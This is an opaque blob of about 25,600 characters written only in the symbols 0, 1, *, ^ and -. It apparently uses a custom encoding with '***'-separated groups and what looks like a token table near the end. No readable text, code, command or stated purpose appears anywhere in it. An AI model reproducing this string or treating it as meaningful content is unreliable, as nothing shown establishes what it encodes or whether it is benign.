*010110-1011***0-11*01010^^101*10-010^1^-001*10-0-1011*1*1010^11*110110^10110-001101*001*-1****0-001*1^10-^10^1^10-10^101101^101010^11*00-0^-1*10101*10-0^101^-0110^^10^-101*01^^-00^-01*001011*110^1011*10-01*011*10-01^1010-11010-1101***01101^1*1^10-^10^1^10-10^101101^101010^11*00-0^-1*10101*10-0^101^-0110^^10^-101*01^^-00^-01*001011*110^1011*10-01*011*10-01^1010-11010-1101***0^1^1^1^10-^10^1^10-10^101101^101010^11*00-0^-1*10101*10-0^101^-0110^^10^-101*01^^-00^-01*001011*110^1011*10-01*011*10-01^1010-11010-1101***01101^101011*^1^10-^10^1^10-10^101101^101010^11*00-0^-1*10101*10-0^101^-0110^^10^-101*01^^-00^-01*001011*110^1011*10-01*011*10-01^1010-11010-1101***10-1101^11*01011*11*^11*1*001^11*0101^1^1*1^11*0^^11*1*0^1101^10110^1*00^1*01*1011*1*01010110^1*11*11*^1*01*101^10110^10101^-011*01*1*101^10110^11*010-01^-01^11*01011*0101*001*101^101*10110-^-1^1^-*110110^101101*011*10-010^11*1*^-0110-10110^1011*10-01*011*10-00-011010^1101011011010^11*11011*00-010110110^^1010^11*10-01*01^110-0^101^^-*00101*-1***00-00101*1010^1101011010110110^^1^110^-*10^^11*10101010101^11*^-00^11*1^11011*01010101010110^^^101***^1011*^1^^-00-01^10^^110101010101010^1011*0011*010-010101010^1011*0-^101011*010110-0011011*1^110101***10-1^11011*^1^1*001*0011*00-*01*^^1^11*01*101^1*00101*001*1*1010110^11*010101*1011*01*0-0010110^1*11*^11*11011*0101^10110^1*11*11*101^1^1^1^101101*1101^101011*0101^1*00^1*01*0011*11011**1^110-^-1^1^-*110110^101101*011*10-010^11*1*^-0110-10110^1011*10-01*011*10-00-011010^1101011011010^11*11011*00-010110110^^1010^11*10-01*01^110-0^101^^-*00101*-1***0101^^11*1*1*1*^110-^10-^1*1^101^10101^101010^110110^10101*^11*^11011*0011010-^1*^11*01101***1*11**0110^-101*0010-001101*0110^11010^-10^-10101^10^^10^11010-^1*01101*11011*1010101^11*110-*0^1*10-***101^10101*^^-0101011*00^^^10101^-0^1011*01011010110110101^101*1^10101^^110^-00101*-010^110^^1***00^11*0-^^101*0-00-101101^10^1*1101*1010101^101^-*0^10^-10-^1*10101*00-*1011*011011*^11***1^-*0010101*101*0110^110-0110101^1*010^1011*00-*1101101*11*1^1^^101*1^101*001010110110^-^1*11***10^11*1101101010-*^110-10110101^1010^1101^-00-011010^11011*110^1011*1^1*1^10^^1***10-11011*0101^11*11*^^11*00-001*001*1011*11*10^-*1*0^11*101^1^101101*11*10101011*01011*00-00101101*11*101*0010-011*0101^10110^1^1^11*0101^1^1^1^10110^1*11*11*^1*010^-*1*010101*^11011*^1^110-^-1^10^11*1101101010-*^110-10110101^1*-1***00110-*11011***1*011*11011***0010-*11011***1010-*11011***0011011*11011***0-011*11011***0^-*11011***1011011*11011***-0-*11011***01*11*11011***010-^-011***^101^-011***00^1^-011***-001^-011***01^1^-011***10^1^-011***-101^-011***1^-00-011***1*-00-011****-^-011***010101^-011***11*1^-011****101^-011****0-00-011***00^11***110101^-011***^-^-011***-0011***0110-00-011***1*01^-011***0010-00-011***1010-00-011***001101^-011***0-01^-011***0^-00-011***101101^-011***-0-00-011***01*1^-011***010-^^-***^101^^-***010-1*^11***1101011*^11***01*11*^11***11*11*^11***1*-*^11***00^1^^-****1011*^11***-001^^-***01^1^^-***10^1^^-***-101^^-***1^-00^-***1*-00^-***0^-*^11****-^^-***010101^^-***11*1^^-****101^^-****0-00^-****0-***110101^^-***-1011*^11***^-^^-****0-*^11***1*011*^11***0110-*^11***0110-00^-***1*01^^-***0010-00^-***1010-00^-***0101011*^11***001101^^-***0-01^^-***0^-00^-***101101^^-***-0-00^-***01*1^^-***0-011*^11***0010-*^11***010-101011011***^101101011011***00^1101011011***-001101011011***01^1101011011***1010-*^11***01^11*^11***10^1101011011***-101101011011***1^-01011011***1*-01011011****-101011011***010101101011011***11*1101011011****101101011011****0-01011011***110101101011011***^-101011011***0110-01011011***1*01101011011***0010-01011011***1010-01011011***001101101011011***0-01101011011***0^-01011011***101101101011011***-0-01011011***01*1101011011***010-10-0-***^10110-0-***00^110-0-***-00110-0-***01^110-0-***10^110-0-***-10110-0-***1^-0-0-***1*011***1*-0-0-****-10-0-***01010110-0-***11*110-0-****10110-0-****0-0-0-***11010110-0-***^-10-0-***0110-0-0-***1*0110-0-***10^11*^11***0010-0-0-***1010-0-0-***00110110-0-***^1011*^11****-1*^11***-0-*^11***-0011*^11***^-1*^11***0-0110-0-***0^-0-0-***1^-*^11***10110110-0-***-0-0-0-***1011011*^11***00^11*^11***0011011*^11***01*110-0-***010-1***1*-****1011***0110-***0010-***0-1^10^11*1101101010-*^110-10110101^1*-1***01^-010^11011*110^101^110-010^11*1*^-0^11*110^101101^-01*01^1*01*1101101*01101010-01^-0^101^11010^-01*010-001^110-101101^-0-101^^-011*110^10110101^1***-101^1^1^-0110^^^^-010^11*10-01010-*00-010110110-1011011*01***1*011*10-01*011*1*1*^11010^11*10-011*11010^11*10-0-101^^-*00101***10^11*00-0-1011011*1101^10^-0110-10110^1011*10-011*11010^11*10-0-101^^-*0010101*011*10-01*011*1*1***0^-010^11*^110^101^110-0-101^^-*00101010^11011*110^101^110-00^-010^1101^1010-1011*10-*00-0^-^^-011*0101^-010^1101*001***1*-00-0110^1011*1^^-0^1011011010^11*10-01^-0^-101^101***10^11*1101^1*1101*01^^-010^110101101101010-00-0110101*1***10^11*^110-101^-001*^11010^110110101^-0110^1011*1^1*1101101011011*01101***0010-00-011010^1101011011010^11*110110101*1*1101101011011*01101***10^11*^110-101^-001*1101101011011*01101***0010-01^-0^1011*1^1010^11*^110-101^-001*1101101011011*01101***001101101011011*0110^-0^1011011010^11*10-01^-0^-101^101***0010-00-011010^110101101101010-011*110-1011*1*1*1101101011011*01101***0010-00-0110^10110-1011*00101***0^-010^11*^110-1011011*1^-0110101*1****0-01*01101011011*10-0^101^1*01***10^1^10-10^101101^101***0010-01*0110101101^^-0-101^11*1010^110-001101*011010110110^^1***-101^1^1^-0110^^1011*11010^11*^110-1011011*01010^110-001101*011010110110^^1***1^-011*110^1011*01011*00-01*01^^-0-*1***10^110-001101*011010110110^^1***0^-010^11*10-010^110101101101*01^^-01*011*0010^^-010^11*^110-1011011*1^-0110101*1***-001^-0110^10110-001101*011010110110^^^-0^-001^-0110^10110-0-01*01^^-*1*^-0^1011011010^11*10-01^-0^-101^101***1^-00^-010^11*10-010^110101101101*01^^-01*011*0010^^-010^11*^110-1011011*1^-0110101*1***-001^-0110^10110-0-01*01^^-*1*^-0^1011011010^11*10-01^-0^-101^101***10^11*110110-001^-01101*011*10-011*11010^1^^101***0010-011*11010^1^10101^1*110-^1*10-00-011010^1101011011010^110-001101*01^-01101*0110101^1***1^-01^-01*011*11011011*01*10-00-011010^1101011011010^110-001101*01^-01101*0110101^1***1*011*10-01*011*1*10^-1*10-00^-010^11*00-0-101^^-*00101***0-0110-10110^1011*10-011*11010^11*11011*110110-1011011*0101*011*10-01*011*1*10^-1*10-00^-010^11*00-0-101^^-*00101***0010-011*11010^1^10101^1*110-^1010^1101^-01*01^1*01*10-00-011010^1101011011010^110-001101*01^-01101*0110101^1***0^-0-1011*10-01*01^^-010^110101101101010-00-0110101*1*10-011*11010^1^10101^1*110-^1*10-00-011010^1101011011010^110-001101*01^-01101*0110101^1***0-0110-10110^1011*10-011*11010^11*11011*110110-1011011*01*10-011*11010^1^10101^1*110-^1*10-00-011010^1101011011010^110-001101*01^-01101*0110101^1***0010-00-011010^1101011011010^110-001101*01^-01101*0110101^^-0^1011011010^11*10-01^-0^-101^101***0^-010^11*01011011*1^^-01*011010^1101^101*10-011*11010^1^10101^1*110-^1*10-00-011010^1101011011010^110-001101*01^-01101*0110101^1***0-0110-10110^1011*10-01*01^10-10^1011*1101101*0110^101^^-010^1101^10^-01*010-*00-0^101^^-011*1101^10^-01*1*11010^110-010^-0^1011011010^11*10-01^-0^-101^101***0^-010^1^10-10^1011*1101101*0110^101^^-010^1101^101*10-*00-0^101^^-011*1101^10101*01^110-01*01^10^1***10^1101^-00-0110-1011*00-01^-010^1^^10^1*11010^110-0101*00-*10-*10-*0^1***10^1101^-00-0110-1011*00-01^-010^1^^10^1*11010^110-0101***10^11*00-0^-1*10101*110110-1011011*110-1011*10-0-101^^-*001010^-1*10-0^101^^-01010-011*11010^1101^101***10^11*01011011*1101*011011*01*1101101*0110^1011*10-00-011010^11*^11010^1^^-011*01***1^-*1101101*0110^1011*10-00-011010^11*^11010^1^^-011*010^^1***1^-00-0110-10110^1011*10-*00-0-^1*0-1010^110-0011010^1^^101***0-0110-10110^1011*10-011*11010^11*11011*110110-1011011*01010^1101010-*1101101*01^110101010^110101101101*01^-001***^101^^-01010101****0-01010-0-101^^-0-*1***0-0110-10110^1011*10-011*11010^11*11011*110110-1011011*01*01011011*11*10-01*0110101^1***10^1^^-01010-*10-*00-01*011011*01***0-0110-10110^1011*10-011*11010^11*11011*110110-1011011*01*00-01010-0-101^^-0-*1****1011011*11*10-01*0110101^1***0^-010^110-001101*01^-01101*0110101^1*10-00-0110^10110-1011*00101010^11011*110^101^110-00^-010^1101^101***0-0110-10110^1011*10-011*11010^11*11011*110110-1011011*0101^-0^-1010^110110^1***00^11010^1^10-10^1011*1101101*0110^1011011*11010^11*00-01^10^-0^1^-00-0110-10110^1011*10-011*11010^11*11011*110110-1011011*0^-0^1011011010^11*10-01^-0^-101^101***10^1101^-01*01^1*0^-0110-10110^1011*10-011*11010^11*11011*110110-1011011*01*10-011*11010^1^10101^1*110-^1010^110101101101*01^-001***-101^1^1^-0110^^1*10-00^-01*011*10-01^10101^-01^-010^11011*110-101^^-*00101***0010-01^-010^1101010-01*-010^1^^10^1*11010^110-0101*00-*10-*10-*0^1***1^-0-001^^-01*001*10-00-011010^1^110-0101*1*^11010^1101^-*00-01*011*110110101*1***0^-010^11*11011*^1^-01101*011*0^1*10-00-011010^1^110-0101*1*^11010^1101^-*00-01*011*110110101*1***1^-00^-010^11010110110^1011*1010^-0^1011011010^11*10-01^-0^-101^101***0^-010^11010110110^1011*10101***10^11*1101101010-*^110-10110101^101^-01^-010^11011*110-101^^-*00101***0010-00-011010^110^1011*11011011*0^1*11010^110-0101***1^-011*110^1011*10-01^-0-101^-0110-001101*0110^1011*1*^-0^1011011010^11*10-01^-0^-101^101***1^-01^-010^11011*110-101^^-*00101***0011011010^11*^110-10110101^1*10-00-011010^1^-0110-1011*00-010110110-1011011*0^-0^1011011010^11*10-01^-0^-101^101***0-0110-10110^1011*10-*00-010^11011*11*0-10101*^^1^1^11*-0110^10110-0101***0010-010^1^-00^-0^1011011010^11*10-01^-0^-101^101***0010-01^-010^1101010-01*-010^1^^10^1*11010^110-0101***1^-00-0110-10110^101101^-01^-010^1^^-*00-*0-10101*^^-01*011*1101101010-0-0011010^1^^10^-01*010-*0-1010^11*1010^-0^1011011010^11*10-01^-0^-101^101****-1010^110-0011010^1^^101***1^-00^-0-101^^-00^-0101*10^-1011*110^1011*110110-1011*00101*1101101^-01^101***0-0110^101101*011*01011011*010^-**1^101011*001101***^-1*10-0^101^^-01010-011*11010^1101^10^-01*010-010^1^-00^-0^1011011010^11*10-01^-0^-101^101***1101011011*1101*01^1*11*11011*1101101*011011*0^-0110-10110^1011*10-01*011*^110^1011*1101101*01^110101010^11*10-01*011011*110^101^1^110^1011*10-00^-010^11011*01010^11*10-0-101101011011010^1^^101***0010-*1101101010-01^-010^1^^1010-00110-1011*1101101*0110^1011*1*1****-10-101^1*01010^110-001101*01101^-01^-010^110101^1***00110110-101^^-*10-00-0110-1011011*01***0-0110-10110^1011*10-01*0110101101^^-0-101^1^1^-0110^^101011011010^11*10-01^-0^-101^101***00^1^^-01*0110-101^1*11*00-0^1011*11011011*01***0-011010^11010^1^^-011*1101^101***1^-0101101101*01^^-01*011*00101010^11*10-01*011010^1^^-011*01***10^110-001101*01101^-01^-010^110101^1***1^-0^-1010^110110^1***0-0110-10110^1011*10-01*011011*110^1011*11011*00-*00-01*001***1^-0101101^^-0-101^11*^-0^1^-0-0-0-1011*^1^-0110^10110-010^-0^1011011010^11*10-01^-0^-101^101***-0-0-1011*^1^-0110^10110-0101010^1^110-0^1011*10-01*01^-001***10^11*10-01010-001*110^101^^-*10-*10-01*00^-0110-10110^1011*10-01*011011*1101^-01010-001^1^1*110-^1***10^11*^110-1011011*01*00-0-^1***1^-010^11*^110-1011011*01*00-0-^1***10^11*11011*^1^-01101*011*0^1*^110-1011*01011*10-010^110101^1010^11010110110^1011*10-00-01101010-00^101***0^-0-1011*10-01*01^^-010^1^-011010^110-*1*1^10^^1***0010-0^1011010110110101*^-01*-0110-10110^1011*10-011*11010^11*1101^1^11010^1^^10^-0^1011011010^11*10-01^-0^-101^101***00^110-1011*01011*10-010^110101^1011*110^10110101101101*01^-0110^-1*1*1***-101^1^1^-0110^^^^-010^11*10-010^110101101101*01^^-01*011*00101***10^11*11011*^1^-01101*011*0^1010^11*1101101010-*^110-10110101^1***10^11*1101101010-*^110-10110101^1***10^11*1101^1*1101*011*10-*0101101^-01*011*0^1***10^11*10-01010-001*110^101^^-*10-*10-01*001010^11*1101^1*110^101101^-0^101^110101010110110-1011011*01***1^-*10-010^110-001^^-01*011*10101010^11*10-01010-001*110^101^^-*10-*10-01*001***10^11*10-01010-001*110^101^^-*10-*10-01*001010^110-001101*01101^-01010101010^11*10-01010-001*110^101^^-*10-*10-01*001***10^11*10-01010-001*110^101^^-*10-*10-01*0010^-101*01^^-00^-01*0010101101101*01^^-01*011*00101***0^-010^11011*01***^-1011*1^-011010^11*10-01^-0^101101^-00-0110-1011011*01***0-0110-10110^1011*10-01010-011*11010^11*0-10101*1*^11010^1^-0110^101101*01^^-*10-01^-00-0110-1011011*0^-0^10^11010110110^1011*10-00-01101010-00^10^-0^1011011010^11*10-01^-0^-101^101***10^11*10-01010-001*110^101^^-*10-*10-01*001*10-011*1101*01^^-*10-00-0110-1011011*010^-1*10-0^1011*110110^101^1*1101*0110^1011*11011010^1^^101***10^11*10-01010-001*110^101^^-*10-*10-01*0010^-1*10-0^101^^-01010-011*11010^1101^101010^11*^110-1011011*01*^11010^110-001101*01^-01101*0110101101^-0110101010101^-01^-010^1^^-*00-*00-01010-01^101***10^11*10-01010-001*110^101^^-*10-*10-01*00101^-0-001101*011*1101^11*1***^-1*10-0^101^^-01010-011*11010^1101^10^-0^1011011010^11*10-01^-0^-101^101***10^11*10-01010-001*110^101^^-*10-*10-01*001*1101101*011011*110^1011*10-0^101^^-011*01010^1^1^1101*01101^1010^-1*10-0^101^^-01010-011*11010^1101^101***10^11*10-01010-001*110^101^^-*10-*10-01*001*^1101*011010^1^^-*01011*1010101*001*1010101^101***10^11*10-01010-001*110^101^^-*10-*10-01*001*^11010^11*10-01*01^^-010^1^-011010^110-*^^-010^11*110110^1011*00-010110110-1011011*01***-101^1^1^-0110^^10^-1*10-00^-010^11*00-0-101^^-*00101***10^110101101101*01^-0010^-1*1101^1*1101011011010^1101^-01^-01*001***10^1101^-01*01^1*01*^110-1011*01011*10-010^110101^1***1^-0-001101*011*1101^11*10-001^-0110^1011*^1^-0110^101^1*01***-101^1^1^-0110^^1*^110-1011*01011*10-010^110101^1***10^11*10-0^-^1*0101^101***1^-010^11*110110^-1*10-01^10^^-010^1^1*110101101101010-00-001***0-0110-10110^1011*10-*00-010^11011*11*0-10101*1*10-00-011010^110101101101010-0-001^^-01*001***-101^1^1^-0110^^^^-010^1^1*1101011011010^110101^1***0-0110-10110^1011*10-01*01^10-10^1011*1101101*01^1*110-1011*110110-*^-0^1011011010^11*10-01^-0^-101^101***-101^1^1^-0110^^1010^1^^-01010-*10-*1101101010-011*01***-101^1^1^-0110^^1*^11*11011010^110^101^11*10-1101***1*11**01^-0110-10110^1011*10-011*11010^11*11011*110110-1011011*010^^1***0^-010^11*^110^101^110-0-101^^-*00101010^11011*110^101^110-00^-010^1101^1010-1011*10-*00-0^-^^-011*010-*^-00^^101***1*11**011*10-01^-0^1011*1^10^^1***1*11**01^^-0-1011*10-01*01^^-010^110101101101010-00-0110101*10^^1***0-0110-10110^1011*10-*00-010^11011*11*0-10101*1010^110-001^-01101*01^^10^1^110-^1*10-01010-0-^1*10-00-011010^110101101101010-0-001^^-01*001***0010-011*11010^1^10101^1*110-^^1^11010^1^^1010^-^1*01*1101101*011*0101101^-00^-01*0110101^1***00^11010^110-001101*01^-01101*0110101^101*1^1*001*0^101^101***0^1^1*1^10101^1*001*0^101^101011*0101*0010101^1*0^1***0011011010^1101*011*^1^-01^1010110^101^^101***0-0110-10110^1011*10-*00-010^11011*11*0-10101*1011*110^1011*01011*00-01*01^^-0-00110-1011*10-*00-0^-^^-011*01***11*0101*0010101^1*0^1***1^-00-0110-10110^1011*10-*00-0-^1*10-0^1011*11011*00-01^1010-001^-0110^101^^-*10-01^101***0-0110-10110^1011*10-*00-0-^1*01011011*1^^-01*011010^1101^101***1*1^1*001*0^101^101011*0101*0010101^1*0^1***0^-010^11*^110^101^110-0-101^^-*00101010^11011*110^101^110-00^-010^1101^1010-1011*10-*00-0^-^^-011*0101*1^1*001*0^101^101***0^-010^11*^110^101^110-0-101^^-*00101*10-01*0110101101^^-0-101^11*10^^1***-101^1^1^-0110^^1010^11*110110^101^11*1***01101^101011*^1^1*001*0^101^101011*0101*0010101^1*0^1***10^11*1101^1*1101*01^^-010^110101101101010-00-0110101*10^^1***0^11**01^^-0^101101*011*00101010^1101010-*1101101*01^1101010^-1010^110110^1***0^-010^11*^110^101^110-0-101^^-*00101010^11011*110^101^110-00^-010^1101^1010-1011*10-*00-0^-^^-011*0101^1010101*1*1*1***1^1010101*1*1*1***1^11**011010^11*11011*00-01010-*10101***0^-010^11*^1101*011010^1^^1010^-^^-01*01^-0110^101^1*01***10^11*^110-10110101^10101101101*011010^1^^-*10-01^1010-1011*10-*00-0^-^^-011*01***101101101*011010^1^^-*10-01^1010-1011*10-*00-0^-^^-011*01***0^-010^11*^110^101^110-0-101^^-*00101010^11011*110^101^110-00^-010^1101^1010-1011*10-*00-0^-^^-011*010101011*01*10101^1***10^1^^-01*011*0101101^101010^11*110110^101^11*1***1^-01^-010^11011*11011*1101*001010^11*110110^101^11*1***10^11*^110-10110101^1010^11*110110^101^11*1***10110110-1011*^1^-01101*01^^101****1011*10-01*0110101^1***-001^-0110^1011*^110-1011011*1^-0110101*1*0-*11*1*1010101010101***101011*01*10101^1***0^-010^11*^110^101^110-0-101^^-*00101010^11011*110^101^110-00^-010^1101^1010-1011*10-*00-0^-^^-011*0101^1010101*1*1*1010^11*11011*00-0^101^^-*10101***^-^^-01*01^-0110^101^1*0^-0^1^-00^-010^11*10-*10-01*0110101101^^-0-101^11*^-01*-0110-10110^1011*10-01*01^10-10^1011*1101101*0110^101^^-010^1101^10^-0^10^11010110110^1011*10-00-01101010-00^10^-0^1011011010^11*10-01^-0^-101^101***0^-010^11*10-*10-01*0110101101^^-0-101^11*10^-^^-01*01^-0110^101^1*01***1011011*01011*10-0^101^^-0-10110-0011*1101101*001*0101101^-01*011*0^1*^11010^110^-1010^110110^1***10^11*^110-10110101^^^-010^11*01011*00-0^1011011*01***0-0110-10110^1011*10-01*01^10-10^1011*1101101*0110^101^^-010^1101^10^-0^10^11010110110^1011*10-00-01101010-00^10^-0^1011011010^11*10-01^-0^-101^101***10^11*1101^1*1101*01^10-10^1011*1101101*0110^101^^-010^1101^1010^^1***10^11*1101^1*1101*01^^-01*011*00-010110110-1011011*010^^1***11*010-*1***10^11*^110-10110101^10-001^-0110^1011*^11*^1101*011*00101***0-0110-10110^1011*10-*00-010^11011*11*0-10101*1****1011*10-01*011*00101***0^-0-1011*10-01*01^^-010^110101101101010-00-0110101*10^^1***0-0110-101101^-0^101^^-01*011*00-010110110-1011011*010-001^-0110^101^^-*10-01^101***0^-0-1011*10-01*01^^-010^1^-011010^110-*^^-010^1^1*110101101101010-00-001010110110-1011*^1^-01101*01^^101***01101^1*11*010-00-0110^^101010101***1^-010^11*10-0^-^1*01010^1^110-0^101^^-010^11*1*1*0-00^-*00-*^1^11*1^1^1^^101***101101^^-0-101^1^1101^-00-01101*01^^-*101010-1011*10-*00-0^-^^-011*010^^1***00^11010^110-001101*01^-01101*0110101^1*11011010^1101*011*^1^-01^1010110^101^^101***^-^^-*10-01^-0^10110-0011010^1^^101***10^11*110110-001^-0110^101101^101***10^11*1101^1*110^1011*10-00^-010^1^110-00-0110-1011011*010^^1***-101^1^1^-0110^^101011011010^11*10-01^-0^-101^101010^11*110110^101^11*1***-101^1^1^-0110^^10^-^^-0-1011*10-011*11010^1^^-0^1011*1*1***0^-010^11*^1101*011010^1^^101*10-*0-1010^11*10101***0^-010^11*^1101*011010^1^^1010101101101*011010^1^^-*10-01^101***1^-010^11*10-0^-^1*01010^1^110-0^101^^-010^11*1*1***00^1101*011010^1^^-*01011*10101***^-^^-0-1011*10-011*11010^1^^-0^1011*1*1***0^1^1^11*-0110^10110-010^-01*010-001^110-101101^-0-101^^-011*110^10110101^1***^-1010^110110^10^-^^-*10-01^-0^10110-0011010^1^^101***1*11**011010^11*1101^1*1101*01^^-01*011*00-010110110-1011011*010^^1***1011011*01011*10-0^101^^-0-10110-0011*1101101*001011*110^101^^-*10-010^1101011011010110110^-101^101***1^-00-0110-10110^1011*10-011*11010^11*11011*110110-1011011*0^-0^1011011010^11*10-01^-0^-101^101***0-0110-10110^1011*10-011*11010^11*11011*110110-1011011*010^^1***0^-0-1011*10-0^101^-0110-10110101^1***0^-*10-*00101*10-00-0110^^101010101***1101011011*1101*01^1*11*11011*1101101*011011*01011*1^-0110^-101^-01*001***0010-*1101101010-01^-010^1^^101011*1^-0110^-101^-01*0010^^1***-001^-0110^1011*^1101*011010^1^^-*01011*1010^-0^1011011010^11*10-01^-0^-101^101***00^11010^1101101011011*110-1011*1101^^-010^11*10-00-0110^^1***1011011*01011*10-0^101^^-0-10110-0011*1101101*001*0101101^-01*011*0^1***0010-00^-010^1^110-00-0110-1011011*01***001011*11011*010-00-0110^^101010101***0^-010^11*^11*110110-101^11*1*1101101*0110^1011011*11010^11*00-01^101***0010-00-011010^110101101^-0110-101^^-0^101^110-00-0110101*1***1*11**011010^11*1101^1*1101*01^^-010^110101101101010-00-0110101*10^^1***0^-010^1^1^1^1^1101010-001*01***10^11*1101^1*1101010-0-1011*1*1***10^11*11011*^1^-01101*011*0^1010^11*00-0^-1*10101010^11010110110^1011*10-00-01101010-00^101***10^11011*1^-011010^1^^-010^1^1^11010^1^^1010^-1*10-0^1011*10-00-011010^11*^110^^1***001101101*011*00-0^1011011*1^-0110^101^^-*0010^-0^^-1*10-0^101^^-01010-011*11010^1101^10^-0^1011011010^11*10-01^-0^-101^101***0^-010^110^101^1^110^1011*10-00-011010^11*^110^^10^-1*10-0^101^^-01010-011*11010^1101^101***-101^1^1^-0110^^1*^11*11011010^110^101^11*1***00^110^101101010-0-*1***001011*11011*010-00-0110^^1***0^1^1^11*010-00-0110^^101010101***^-1*1101^1*1101011011010^1101^-01^-01*001***1*11**011010^11*1101^1*1101*011*10-01*01101010-01*-0101*10^^1***0-0110-10110^101101^-00^-010^1^110101***1011011010^11*10-01^-0^-101^1010-001^-0110^1011*10-01*01^^-010^11*00-0-^1***0^-010^11*10-00^-010^1^110-00-0110-1011011*01*10-0^101^1*01***001101101*011*0101101^-00^-01*0110101^1***10^11*00-0^-1*10101***10^11*1101^1*1101*011010^1^-0110-1011*11011011*010^^1***10^11*1101^1*1101*01101^-0-1011*00-01^-0^1011*1*10^^1***1*11**011*10-01^-0^1011*1^1***-001^-0110^1011*^110-1011011*1^-0110101*1***10^11010110110^1011*10101010^11*10-01*011*1*1***101101101*011010^1^^-*10-01^1010^-^^-0-101101011011010^110101^1***^-1*01011*00-01*01^^-0-00110-1011*10-*00-0^-^^-011*0^-0^^-1*10-0^101^^-01010-011*11010^1101^10^-0^1011011010^11*10-01^-0^-101^101***1^-010^1101*001***10^11*110110^101^11*1***101101101*011010^1^^-*10-01^101***01101^1*11*010-00-0110^^1***-^10^^^-0^1011011010^11*10-01^-0^-101^101***101101101*011010^1^^-*10-01^101010^11*110110^101^11*1***001101101*011010110110^1011011*11010^11*1*1***0010-*0-1010^11*1010^-0^1011011010^11*10-01^-0^-101^101***0^-010^11*^11*110110^101101010-001*010-001^-0110^101^^-*10-01^101***1^-010^11*10-01*011011*110^101^1^110^1011*10-00^-010^11011*010^-**1^101011*00110^-0^^-1*01011*00-01*01^^-0-00110-1011*10-*00-0^-^^-011*0^-0^^-1*10-0^101^^-01010-011*11010^1101^10^-0^1011011010^11*10-01^-0^-101^101***10^11*10-01*011011*110^101^1^110^1011*10-00^-010^11011*010^-**1^101011*001101***10^11*10-01*0110-0011010^11*11011010^11*1*1***0^-*10-*00101*10-00-0110^^1***0^-01*011*01011011*01***10^11*11011*^1^-01101*011*0^1*^11*11011010^110^101^11*1010^11010110110^1011*10-00-01101010-00^101***^-101*01^^-00^-01*001***1^-00^-010^11*00-*11011010^11*0^1010^11010110110^1011*10-00-01101010-00^101***10^11*10-0^-^1*01***10^11*10-01010-001*110^101^^-*10-*10-01*001***0-0110-10110^1011*10-011*11010^11*11011*110110-1011011*01010^1101010-*1101101*01^110101***0^-0-1011*10-01*01^^-010^110101101101010-00-0110101*1***0-0110-10110^1011*10-011*11010^11*11011*110110-1011011*010^-1010^110110^1***11*110^101^^-010^1^-011010^110-*^-0^1^-00-0110-10110^1011*10-011*11010^11*11011*110110-1011011*0^-0^1011011010^11*10-01^-0^-101^101***0^11**0110^-^^-01*01^-0110-10110^1011*10-011*110^1011*1*1***10^11*11011*^1^-01101*011*0^1010^1^1^1101*01101^101***10^11*10-01*0110-0011010^11*11011010^11*1*1*10-01^-01*011011*110^1011*10-*1101101010-0101^1***101101101010-00-0110101*1***10^11*00-0^-1*10101010^1101010-*1101101*01^110101***0010-011*11010^1^10101^1*110-^1***10^11*10-01010-001*110^101^^-*10-*10-01*001010^110101101101*01^-0010^-1010^110110^10^-1*1101^1*1101011011010^1101^-01^-01*001***10^11*10-01010-001*110^101^^-*10-*10-01*001010^11*110110^101^11*10^-1010^110110^10^-1*1101^1*1101011011010^1101^-01^-01*001***10^11*10-01010-001*110^101^^-*10-*10-01*00^-0110-00110^101101^1010^-101*011*11011010^11*1*10^-1*1101^1*1101011011010^1101^-01^-01*001***10^11*10-01010-001*110^101^^-*10-*10-01*00^-0110-10110^1011*10-01*01^^-01010-0-00110^101^1^1^-0110-1011011*010^-1*1101^1*1101011011010^1101^-01^-01*001***-001^-0110^101^-0110-10110^101101^-00^-010^1^11010^-0^10^11010110110^1011*10-00-01101010-00^10^-0^1011011010^11*10-01^-0^-101^101***10^11*10-01010-001*110^101^^-*10-*10-01*0010110101^^-0-10110-0-010^110101101101*01^^-0011*1*10-010^110-001^^-01*011*10101***10^11*10-01010-001*110^101^^-*10-*10-01*0010^-1*10-0^1011*110110^101^1*110^1011*10-01*011*00-010110110-1011011*01010^11010110110^1011*10-00-01101010-00^101***0-01101*011010^11*110110-10110-101^1*01***0^1^1^11*010-00-0110^^1***10^11*10-01010-001*110^101^^-*10-*10-01*00101^-00-0110-10110^1011*10-01*011*0-101*011*11011010^1^^10^-0110-10110^1011*10-01*011*110110^1011*00-010110110-1011011*01***1^-010^11011*110^101^110-00^-010^1101^10^^-010^11*110110^1011*00-010110110-1011011*0^-0^10^11010110110^1011*10-00-01101010-00^10^-0^1011011010^11*10-01^-0^-101^101***10^11*10-01010-001*110^101^^-*10-*10-01*00^-0110-10110^101101^-00-011010^11*10-*0-10101*1***10^11*10-01010-001*110^101^^-*10-*10-01*00^-0110-10110^1011*10-*00-0^101^^-011*1101^-010^11*1*10^-1*1101^1*1101011011010^1101^-01^-01*001***10^11*10-01010-001*110^101^^-*10-*10-01*001010^11*11011*10-0^1011*101010^-1*1101^1*1101011011010^1101^-01^-01*001***10^11*10-01010-001*110^101^^-*10-*10-01*00^-0110-10110^101101^-00^-010^1^110101010^11*110110^101^11*10^-1*1101^1*1101011011010^1101^-01^-01*001***10^11*10-01010-001*110^101^^-*10-*10-01*001*10-*010110-00110^101^^-0^-1*00-0-1011011*010^-1*1101^1*1101011011010^1101^-01^-01*001***10^11*10-01010-001*110^101^^-*10-*10-01*0010^-^-01101*011*00-010110110-1011011*010^-1*1101^1*1101011011010^1101^-01^-01*001***1^-010^11011*110^101^110-00^-010^1101^101*00-0-101^^-010^11*10-00-0110^^^-0^10^11010110110^1011*10-00-01101010-00^10^-0^1011011010^11*10-01^-0^-101^101***10^11*10-01010-001*110^101^^-*10-*10-01*001*^110^101101010-0-*1***10^11*10-01010-001*110^101^^-*10-*10-01*0010110101^^-01*01101011011010^11*^1101*01^^-*101010^-1*1101^1*1101011011010^1101^-01^-01*001***-001^-0110^101^^-*10-01^101***1011011010^11*10-01^-0^-101^101***00^110^10110-101^110101***0-0110-10110^1011*10-011*11010^11*1101^1^11010^1^^10^-0^1011011010^11*10-01^-0^-101^101***10^11*10-01010-001*110^101^^-*10-*10-01*001*10-011*1101010-*^110-101^^-*001010^-1*1101^1*1101011011010^1101^-01^-01*001***0110-01010-010^11*****0010-0-**001101***0010-0-**010101*001*0010^^1***101*11**^^101**01^1***001011*11**00^1***001011*01**01*1*001*00^1*01***001*1**01*1^1**0-1*011**101101011**00-*011**^1*11**01011****1011*01***11****1011*11**01101****1011*01**00101****1*00-**0^1*001**101010101***01****1011*01**0-****01011*01**0011****0^^-**0101****01011*01***1**1**1011*01**011****001011*01**001****00^^-**01*****1011*01*******001011*1**00--11**001011*1***---**^1*1**0010--**0010101101***0--11**1*101***110-